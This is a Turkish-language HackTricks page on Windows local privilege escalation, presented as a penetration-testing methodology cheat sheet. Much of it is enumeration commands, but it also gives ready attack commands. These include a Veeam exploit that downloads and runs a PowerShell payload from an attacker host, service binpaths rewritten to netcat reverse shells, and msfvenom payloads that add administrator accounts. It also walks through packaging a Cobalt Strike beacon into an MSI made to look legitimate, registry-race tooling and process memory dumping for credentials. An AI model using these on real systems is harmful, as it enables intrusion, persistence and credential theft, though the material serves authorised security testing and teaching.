Windows Yerel Ayrıcalık Yükseltme
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Windows yerel ayrıcalık yükseltme vektörlerini bulmak için en iyi araç: WinPEAS
İlk Windows Teorisi
Access Tokens
Windows Access Tokens’ın ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
Integrity Levels
Windows’ta integrity levels’ın ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:
Windows Güvenlik Kontrolleri
Windows’ta sistemin envanterini çıkarmanızı, executable çalıştırmanızı veya hatta faaliyetlerinizi tespit etmesini engelleyebilecek farklı şeyler vardır. Ayrıcalık yükseltme envanterine başlamadan önce bu savunma mekanizmalarının hepsini okumalı ve envanterini çıkarmalısınız:
Admin Protection / UIAccess silent elevation
RAiLaunchAdminProcess üzerinden başlatılan UIAccess processes, AppInfo secure-path kontrolleri aşılınca prompt olmadan High IL’e ulaşmak için kötüye kullanılabilir. Ayrıntılı UIAccess/Admin Protection bypass workflow için buraya bakın:
Uiaccess Admin Protection Bypass
Secure Desktop accessibility registry propagation, keyfi bir SYSTEM registry write (RegPwn) için kötüye kullanılabilir:
Secure Desktop Accessibility Registry Propagation LPE (RegPwn)
Sistem Bilgisi
Version info enumeration
Windows sürümünün bilinen bir vulnerability’si olup olmadığını kontrol edin (uygulanan patches’i de kontrol edin).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
Bu site, Microsoft güvenlik açıkları hakkında ayrıntılı bilgi aramak için kullanışlıdır. Bu veritabanında 4.700’den fazla güvenlik açığı bulunur ve bir Windows ortamının sunduğu devasa attack surface’i gösterir.
On the system
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Locally with system information
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Environment
Env değişkenlerinde saklanmış herhangi bir credential/Juicy info var mı?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Geçmişi
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transcript dosyaları
Bunu nasıl açacağınızı şurada öğrenebilirsiniz: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell pipeline yürütmelerinin ayrıntıları kaydedilir; yürütülen komutlar, komut çağrıları ve scriptlerin bazı bölümleri buna dahildir. Ancak, tam yürütme ayrıntıları ve çıktı sonuçları kaydedilmeyebilir.
Bunu etkinleştirmek için, dokümantasyondaki “Transcript files” bölümündeki talimatları izleyin ve “Powershell Transcription” yerine “Module Logging” seçin.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
PowersShell loglarından son 15 olayı görüntülemek için şunu çalıştırabilirsiniz:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Script’in yürütülmesinin tam etkinlik ve tam içerik kaydı yakalanır; böylece her kod bloğu çalışırken belgelenmiş olur. Bu süreç, her etkinlik için kapsamlı bir denetim izi korur; bu da forensics ve kötü amaçlı davranışların analizinde değerlidir. Tüm etkinliğin yürütme anında belgelenmesi sayesinde, sürece dair ayrıntılı içgörüler sağlanır.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block için günlükleme olayları, Windows Event Viewer içinde şu yolda bulunabilir: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Son 20 olayı görüntülemek için şunu kullanabilirsiniz:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internet Ayarları
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Sürücüler
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Güncellemeler httpS yerine http kullanılarak istenmiyorsa sistemi ele geçirebilirsiniz.
Ağda non-SSL bir WSUS güncellemesi kullanılıp kullanılmadığını kontrol etmek için cmd içinde aşağıdakini çalıştırarak başlayın:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Ya da PowerShell’de aşağıdakiler:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Şunlardan biri gibi bir yanıt alırsanız:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Ve eğer HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer veya Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" değeri 1 ise.
O zaman, istismar edilebilir. Son registry değeri 0 ise, WSUS girişi yok sayılır.
Bu zafiyetleri istismar etmek için şu araçları kullanabilirsin: Wsuxploit, pyWSUS - Bunlar, SSL olmayan WSUS trafiğine ‘fake’ updates enjekte etmek için MiTM weaponized exploit scriptleridir.
Araştırmayı burada oku:
WSUS CVE-2020-1013
Tam raporu burada oku.
Temel olarak, bu bug’ın istismar ettiği kusur şudur:
Eğer yerel kullanıcı proxy’mizi değiştirme yetkisine sahipsak ve Windows Updates, Internet Explorer ayarlarında yapılandırılmış proxy’yi kullanıyorsa, bu durumda kendi trafiğimizi yerelde yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak code çalıştırmak için PyWSUS çalıştırma yetkisine de sahip oluruz.
Ayrıca, WSUS servisi mevcut kullanıcının ayarlarını kullandığı için, onun certificate store’unu da kullanır. WSUS hostname’i için self-signed certificate üretir ve bu certificate’ı mevcut kullanıcının certificate store’una eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabiliriz. WSUS, certificate üzerinde trust-on-first-use türü bir doğrulamayı uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan certificate kullanıcı tarafından trusted ise ve doğru hostname’e sahipse, servis tarafından kabul edilir.
Bu zafiyeti WSUSpicious aracıyla istismar edebilirsin (liberated olduktan sonra).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Birçok enterprise agent, bir localhost IPC surface ve ayrıcalıklı bir update channel açığa çıkarır. Enrollment bir attacker server’ına zorlanabiliyor ve updater, sahte bir root CA’ya veya zayıf signer kontrollerine güveniyorsa, yerel bir kullanıcı SYSTEM servisine kurulacak kötü amaçlı bir MSI teslim edebilir. Netskope stAgentSvc chain’e dayanan genelleştirilmiş tekniği – CVE-2025-0309 – burada görebilirsin:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261, attacker-controlled messages işleyen bir localhost service’i TCP/9401 üzerinde açığa çıkarır ve NT AUTHORITY\SYSTEM olarak keyfi komutların çalıştırılmasına izin verir.
- Recon: listener ve sürümü doğrula, örn.
netstat -ano | findstr 9401ve(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit: gerekli Veeam DLL’leri ile birlikte
VeeamHax.exegibi bir PoC’yi aynı dizine koy, ardından local socket üzerinden bir SYSTEM payload tetikle:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
Servis komutu SYSTEM olarak çalıştırır.
KrbRelayUp
Windows domain ortamlarında belirli koşullar altında bir local privilege escalation açığı vardır. Bu koşullar, LDAP signing zorunlu kılınmayan ortamları, kullanıcıların Resource-Based Constrained Delegation (RBCD) yapılandırmalarına izin veren self-rights sahip olmalarını ve kullanıcıların domain içinde bilgisayar oluşturabilme yeteneğini içerir. Bu gereksinimlerin varsayılan ayarlarla karşılandığını belirtmek önemlidir.
Exploiti burada bulabilirsiniz https://github.com/Dec0ne/KrbRelayUp
Saldırı akışı hakkında daha fazla bilgi için şuraya bakın https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Eğer bu 2 kayıt etkinse (değer 0x1 ise), herhangi bir yetkiye sahip kullanıcılar *.msi dosyalarını NT AUTHORITY\SYSTEM olarak install edebilir (çalıştırabilir).
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Eğer bir meterpreter session’a sahipseniz, bu tekniği exploit/windows/local/always_install_elevated module’ünü kullanarak otomatikleştirebilirsiniz
PowerUP
Mevcut dizin içinde bir Windows MSI binary oluşturmak için power-up içindeki Write-UserAddMSI command’ini kullanın; bu binary privileges yükseltmek için kullanılır. Bu script, bir user/group addition isteyen önceden derlenmiş bir MSI installer yazar (bu yüzden GIU access’e ihtiyacınız olacak):
Write-UserAddMSI
Sadece oluşturulan binary’yi çalıştırarak ayrıcalıkları yükseltin.
MSI Wrapper
Bu aracı kullanarak bir MSI wrapper oluşturmayı öğrenmek için bu eğitimi okuyun. Eğer sadece command lines yürütmek istiyorsanız, bir “.bat” dosyasını sarabileceğinizi unutmayın
WIX ile MSI Oluşturma
Visual Studio ile MSI Oluşturma
- Cobalt Strike veya Metasploit ile
C:\privesc\beacon.exekonumunda yeni bir Windows EXE TCP payload oluşturun - Visual Studio’yu açın, Create a new project seçin ve arama kutusuna “installer” yazın. Setup Wizard projesini seçin ve Next’e tıklayın.
- Projeye AlwaysPrivesc gibi bir isim verin, konum için
C:\privesckullanın, place solution and project in the same directory seçin ve Create’e tıklayın. - 4 adımın 3. adımına gelene kadar Next’e tıklamaya devam edin (dahil edilecek dosyaları seçin). Add’e tıklayın ve az önce oluşturduğunuz Beacon payload’ını seçin. Ardından Finish’e tıklayın.
- Solution Explorer içinde AlwaysPrivesc projesini seçin ve Properties bölümünde TargetPlatform değerini x86’dan x64’e değiştirin.
- Author ve Manufacturer gibi değiştirebileceğiniz başka özellikler de vardır; bunlar kurulan uygulamanın daha meşru görünmesini sağlayabilir.
- Projeye sağ tıklayın ve View > Custom Actions seçin.
- Install’a sağ tıklayın ve Add Custom Action seçin.
- Application Folder üzerine çift tıklayın, beacon.exe dosyanızı seçin ve OK’e tıklayın. Bu, installer çalıştırılır çalıştırılmaz beacon payload’ının yürütülmesini sağlayacaktır.
- Custom Action Properties altında Run64Bit değerini True olarak değiştirin.
- Son olarak, build it.
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'uyarısı görünürse, platformu x64 olarak ayarladığınızdan emin olun.
MSI Kurulumu
Kötü amaçlı .msi dosyasının kurulumunu arka planda çalıştırmak için:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Bu zafiyeti istismar etmek için şunu kullanabilirsiniz: exploit/windows/local/always_install_elevated
Antivirus and Detectors
Audit Settings
Bu ayarlar neyin loglandığını belirler, bu yüzden dikkat etmelisiniz
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, logların nereye gönderildiğini bilmek ilginçtir
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS, yerel Administrator parolalarının yönetimi için tasarlanmıştır ve etki alanına katılmış bilgisayarlarda her parolanın benzersiz, rastgeleleştirilmiş ve düzenli olarak güncellenmiş olmasını sağlar. Bu parolalar Active Directory içinde güvenli şekilde saklanır ve yalnızca ACL’ler aracılığıyla yeterli izin verilmiş kullanıcılar tarafından erişilebilir; böylece yetkiliyse yerel admin parolalarını görüntüleyebilirler.
WDigest
Etkinse, düz metin parolalar LSASS (Local Security Authority Subsystem Service) içinde saklanır.
Bu sayfada WDigest hakkında daha fazla bilgi.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1 ile birlikte Microsoft, Local Security Authority (LSA) için geliştirilmiş koruma ekleyerek güvenilmeyen process’lerin hafızasını okuma veya kod enjekte etme girişimlerini engellemeye başladı; böylece sistemi daha da güvenli hale getirdi.
LSA Protection hakkında daha fazla bilgi burada.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard Windows 10’de tanıtıldı. Amacı, bir cihazda depolanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Önbelleğe Alınmış Kimlik Bilgileri
Domain credentials, Local Security Authority (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının logon verileri kayıtlı bir security package tarafından doğrulandığında, kullanıcı için domain credentials genellikle oluşturulur.
Cached Credentials hakkında daha fazla bilgi burada.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Kullanıcılar & Gruplar
Kullanıcıları & Grupları Enumarate Et
Üye olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Ayrıcalıklı gruplar
Eğer bazı ayrıcalıklı gruplara aitseniz, ayrıcalıkları yükseltebilirsiniz. Ayrıcalıklı gruplar hakkında bilgi edinin ve ayrıcalıkları yükseltmek için bunlardan nasıl yararlanılacağını burada öğrenin:
Token manipulation
Token’ın ne olduğu hakkında daha fazla bilgi almak için bu sayfaya bakın: Windows Tokens.
İlginç tokenlar hakkında bilgi edinmek ve bunlardan nasıl yararlanılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
Oturum açmış kullanıcılar / Oturumlar
qwinsta
klist sessions
Ana klasörler
dir C:\Users
Get-ChildItem C:\Users
Şifre Politikası
net accounts
Panodaki içeriği alın
powershell -command "Get-Clipboard"
Çalışan İşlemler
Dosya ve Klasör İzinleri
Öncelikle, işlemleri listelerken işlemin komut satırında parola olup olmadığını kontrol edin.
Bazı çalışan binary dosyaların üzerine yazıp yazamayacağınızı veya olası DLL Hijacking attacks için binary klasörüne yazma izniniz olup olmadığını kontrol edin:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Her zaman çalışan electron/cef/chromium debuggers olup olmadığını kontrol et, bunları yetkileri yükseltmek için kötüye kullanabilirsin.
Process ikililerinin permissions kontrolleri
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Süreç ikililerinin klasörlerinin izinlerini kontrol etme (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Bellek Parola madenciliği
Çalışan bir işlemin bellek dökümünü procdump ile sysinternals üzerinden oluşturabilirsiniz. FTP gibi servislerde kimlik bilgileri bellek içinde düz metin olarak bulunur, belleği dökmeyi deneyin ve kimlik bilgilerini okuyun.
procdump.exe -accepteula -ma <proc_name_tasklist>
Insecure GUI apps
SYSTEM olarak çalışan Applications, bir kullanıcının bir CMD başlatmasına veya dizinlere göz atmasına izin verebilir.
Örnek: “Windows Help and Support” (Windows + F1), “command prompt” için arama yapın, “Click to open Command Prompt” üzerine tıklayın
Services
Service Triggers, Windows’un belirli koşullar oluştuğunda bir service başlatmasına izin verir (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, vb.). SERVICE_START rights olmadan bile, trigger’larını tetikleyerek çoğu zaman privileged services başlatabilirsiniz. Buradaki enumeration ve activation techniques’e bakın:
Service’lerin bir listesini alın:
net start
wmic service list brief
sc query
Get-Service
İzinler
Bir servis hakkında bilgi almak için sc kullanabilirsiniz
sc qc <service_name>
Her hizmet için gerekli ayrıcalık seviyesini kontrol etmek için Sysinternals’tan accesschk binary’sine sahip olmanız önerilir.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
“Authenticated Users” herhangi bir service’i değiştirebiliyor mu diye kontrol edilmesi önerilir:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
XP için accesschk.exe dosyasını buradan indirebilirsiniz
Service etkinleştir
Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Bunu kullanarak etkinleştirebilirsiniz
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
XP SP1 için upnphost servisinin çalışması için SSDPSRV’ye bağımlı olduğunu dikkate alın
Bu problemin başka bir workaround’u ise şunu çalıştırmaktır:
sc.exe config usosvc start= auto
Service binary path’ini değiştir
“Authenticated users” grubunun bir service üzerinde SERVICE_ALL_ACCESS yetkisine sahip olduğu senaryoda, service’in executable binary’sini değiştirmek mümkündür. Değiştirmek ve sc’yi çalıştırmak için:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Servisi yeniden başlatın
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Ayrıcalıklar çeşitli izinler üzerinden yükseltilebilir:
- SERVICE_CHANGE_CONFIG: Servis binary’sinin yeniden yapılandırılmasına izin verir.
- WRITE_DAC: İzinlerin yeniden yapılandırılmasını sağlar, bu da service ayarlarını değiştirme yeteneğine yol açar.
- WRITE_OWNER: Sahiplik edinmeye ve izinlerin yeniden yapılandırılmasına izin verir.
- GENERIC_WRITE: Service ayarlarını değiştirme yeteneğini devralır.
- GENERIC_ALL: Ayrıca service ayarlarını değiştirme yeteneğini devralır.
Bu zafiyetin tespiti ve sömürülmesi için exploit/windows/local/service_permissions kullanılabilir.
Services binaries weak permissions
Bir service tarafından çalıştırılan binary’yi değiştirebiliyor musunuz ya da binary’nin bulunduğu klasör üzerinde yazma izniniz var mı diye kontrol edin (DLL Hijacking).
wmic kullanarak bir service tarafından çalıştırılan tüm binary’leri öğrenebilir (system32’de olmayanlar) ve izinlerinizi icacls ile kontrol edebilirsiniz:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Ayrıca sc ve icacls de kullanabilirsiniz:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Service registry değiştirme permissions
Herhangi bir service registry’yi modify edip edemediğinizi kontrol etmelisiniz.
Bir service registry üzerindeki permissions’ınızı şu şekilde check edebilirsiniz:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users veya NT AUTHORITY\INTERACTIVE için FullControl izinleri olup olmadığı kontrol edilmelidir. Eğer varsa, service tarafından çalıştırılan binary değiştirilebilir.
Çalıştırılan binary’nin Path’ini değiştirmek için:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Registry symlink race to arbitrary HKLM value write (ATConfig)
Bazı Windows Accessibility özellikleri, daha sonra bir SYSTEM süreci tarafından bir HKLM session key içine kopyalanan kullanıcı başına ATConfig key’leri oluşturur. Bir registry symbolic link race, bu ayrıcalıklı yazmayı herhangi bir HKLM path içine yönlendirebilir ve böylece arbitrary bir HKLM value write primitive’i sağlar.
Key locations (example: On-Screen Keyboard osk):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATsyüklü accessibility özelliklerini listeler.HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature>kullanıcı kontrollü configuration saklar.HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature>logon/secure-desktop geçişleri sırasında oluşturulur ve user tarafından yazılabilir.
Abuse flow (CVE-2026-24291 / ATConfig):
- SYSTEM tarafından yazılmasını istediğiniz HKCU ATConfig value’sunu doldurun.
- Secure-desktop copy’yi tetikleyin (örn. LockWorkstation), bu AT broker flow’u başlatır.
- Race’i kazanın;
C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xmlüzerinde bir oplock yerleştirin; oplock tetiklendiğinde HKLM Session ATConfig key’ini, protected bir HKLM target’a giden bir registry link ile değiştirin. - SYSTEM, attacker tarafından seçilen value’yu redirected HKLM path’e yazar.
Arbitrary HKLM value write elde ettikten sonra, service configuration value’larını overwrite ederek LPE’ye pivot edin:
HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath(EXE/command line)HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll(DLL)
Normal bir kullanıcının başlatabildiği bir service seçin (örn. msiserver) ve yazmadan sonra onu tetikleyin. Not: public exploit implementation, race’in bir parçası olarak workstation’ı kilitler.
Örnek tooling (RegPwn BOF / standalone):
beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver
Services registry AppendData/AddSubdirectory permissions
Eğer bir registry üzerinde bu izne sahipseniz, bu bundan alt registry’ler oluşturabileceğiniz anlamına gelir. Windows services durumunda bu, keyfi code çalıştırmak için yeterlidir:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
Bir executable yolunun etrafında quotes yoksa, Windows bir space’ten önceki her bitişi çalıştırmayı dener.
Örneğin, C:\Program Files\Some Folder\Service.exe yolu için Windows şunları çalıştırmayı dener:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Yerleşik Windows servislerine ait olanlar hariç tüm unquoted service paths listesini çıkarın:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Bu güvenlik açığını metasploit ile tespit edip istismar edebilirsiniz: exploit/windows/local/trusted\_service\_path Bir service binary’sini metasploit ile manuel olarak oluşturabilirsiniz:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Recovery Actions
Windows, bir servis başarısız olduğunda yapılacak eylemleri kullanıcıların belirtmesine izin verir. Bu özellik, bir binary’ye işaret edecek şekilde yapılandırılabilir. Bu binary değiştirilebilir durumdaysa, privilege escalation mümkün olabilir. Daha fazla ayrıntı official documentation içinde bulunabilir.
Applications
Installed Applications
binary’lerin izinlerini kontrol edin (belki birinin üzerine yazıp privilege escalation elde edebilirsiniz) ve klasörlerin (DLL Hijacking) izinlerini kontrol edin.
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Yazma İzinleri
Bazı config dosyasını değiştirip özel bir dosyayı okuyup okuyamayacağınızı veya bir Administrator hesabı tarafından çalıştırılacak bir binaryyi değiştirip değiştiremeyeceğinizi kontrol edin (schedtasks).
Sistemde zayıf folder/file izinlerini bulmanın bir yolu şudur:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
